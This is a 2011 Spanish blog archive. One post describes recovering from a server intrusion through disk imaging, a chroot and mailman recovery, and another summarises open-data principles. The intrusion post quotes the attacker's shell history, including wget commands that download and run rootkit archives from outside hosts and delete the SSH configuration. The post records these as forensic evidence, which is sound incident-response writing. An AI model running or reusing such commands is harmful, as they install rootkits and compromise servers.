Monthly Archives: September 2011

Anotación: Recuperarse de un ataque

Hace unos días, descubrí que habían entrado “unas personas mala” en un servidor con el que trabajo y habían hecho de las suyas. Unas líneas así en el history me confirmaron mis sospechas:

100  wget http://iubi.x10.bz/rk.tgz; tar zxfv rk.tgz; rm -rf rk.tgz; cd var/tmp; ./setup jo6wZgkR 1117
101  wget tubi.nazuka.net/rk.tgz; tar zxfv rk.tgz; rm -rf rk.tgz; cd var/tmp; ./setup jo6wZgkR 1117
80  cd /mnt;wget http://catalin.x10.mx/C;tar zxvf C;rm -rf C;cd muh;./run;cd ..;mv muh .muh
81  cd /mnt;wget http://catalin.x10.mx/M;tar zxvf M;rm -rf M;cd muh;./run;cd ..;mv muh .m
82  cd /mnt;wget http://catalin.x10.mx/B;tar zxvf B;rm -rf B;cd muh;./run

86  wget http://catalin.x10.mx/file.tgz;tar zxvf file.tgz;rm -rf file.tgz;chmod +x file.php
89  wget http://catalin.x10.mx/file.tgz;tar zxvf file.tgz;rm -rf file.tgz;chmod +x file.php
90  cd /etc/ssh
91  rm -rf ssh_config sshd_config
92  yum install openssl*   //Nota es una debian....

Después de ésto, lo más sensato: montar todo de nuevo y estar mucho más pendiente en el futuro. Es lo que pasa cuando tocan muchas manos un servidor y nadie lo actualiza al final.

Realizamos una imagen bits a bits del disco del servidor, para poder tener una imagen exacta del disco duro atacado y poder hacer un análisis forense a posteriori y también poder sacar cierta información de él. (conforme confirmé mis sospechas, tuve que apagar el servidor por lo que pudieran haber hecho con él y pudiese estar enviando).

dd if=/dev/disco  of=ImagenDisco.iso -bs=8192

Una vez creada la imagen del disco, para acceder de forma segura al contenido de la imagen, hemos montado un entorno chroot

sudo mount -t ext3 -o loop,offset=32256 imagen.img /mnt    ### Montamos la imagen generada
sudo mount -o bind /dev /mnt/dev   ## # Enlazamos el /dev local para ser usado por chroot
sudo mount -o bind /sys /mnt/sys    ## # Enlazamos el /sys local para ser usado por chroot
sudo mount -o bind /proc /mnt/proc   ## # Enlazamos el /proc local para ser usado por chroot
sudo chroot /mnt/ ###Creamos el entorno del chroot

Sin conexión a internet, para las tareas que tuvimos que hacer, necesitamos arrancar el apache configurado en la maquina y mysql.

Una de las laborar que tuvimos que hacer, fue recuperar la configuración de las listas de correo de mailman que estaban configuradas. Dicha tarea fue simple, ejecutar el siguiente comando sobre mailman, y recuperamos la lista de correos electrónicos suscritos a las distintas listas y sus respectivas configuraciones.

/usr/lib/mailman/bin/list_members $LISTA > /tmp/fichero
/usr/lib/mailman/bin/config_list -o /tmp/fichero $LISTA

Puntos de fallos:

  • La resolución de nombres configurada en la maquina.
  • Tener claro lo que está dentro del chtroot y fuera.

Resumen:

  • Descubrir que has sufrido un ataque a un servidor.
  • Realizar una imagen del disco atacado para un análisis posterior.
  • Montar la imagen creada y acceder a la información a través de un entorno chroot.
  • Gestionar mailman a través de comandos.

Principios básicos sobre la apertura de datos

A continuación anoto un resumen sobre los principios básicos sobre la apertura de datos publicados por Aitor García hace unos años en la web de Pro Bono Público

  1. Completos:
    Todos los datos públicos deben ponerse a disposición de los ciudadanos. Esto incluye cualquier dato que no este sujeto a una lógica privacidad, a la seguridad o a alguna limitación en cuanto a sus derechos.

  2. Primaria:
    Los datos deben ser recogidos en y por la fuente, con el mayor nivel posible de detalle, y no de forma agregada o modificada.

  3. A tiempo:
    Los datos deben ser accesibles tan rápidamente como sea posible para preservar el valor de los mismos.

  4. Accesibles:
    Los datos deben estar disponible para el más amplio espectro de usuarios y para el más amplio rango de propósitos.

  5. Procesables:
    Los datos deben estar razonablemente estructurados para permitir el procesado automático de los mismos por parte de programas y scripts de software.

  6. No discriminatorios:
    Los datos están disponibles para cualquiera, sin necesidad de ninguno tipo de registro ni licitación.

  7. No propietarios:
    Los datos deben estar disponibles en un formato son el que ninguna entidad tenga control exclusivo.

  8. Licencias libres:
    Los datos no deben estar sujetos a ningún copyright, patente, marca comercial o regulación de secretos comerciales. Aunque de acuerdo con el primer punto puede haber restricciones lógicas por razones de privacidad, seguridad o derechos.

¿Qué es OpenData? Libertad de datos, formatos sobre los que se pueda trabajar, formatos libres y acceso programático a dichos datos.

Empecemos por el principio. Ahora mismo tengo una lista de cosas que mirar y hacer sobre los temas relacionados con OpeData. Muchas ideas en la cabeza.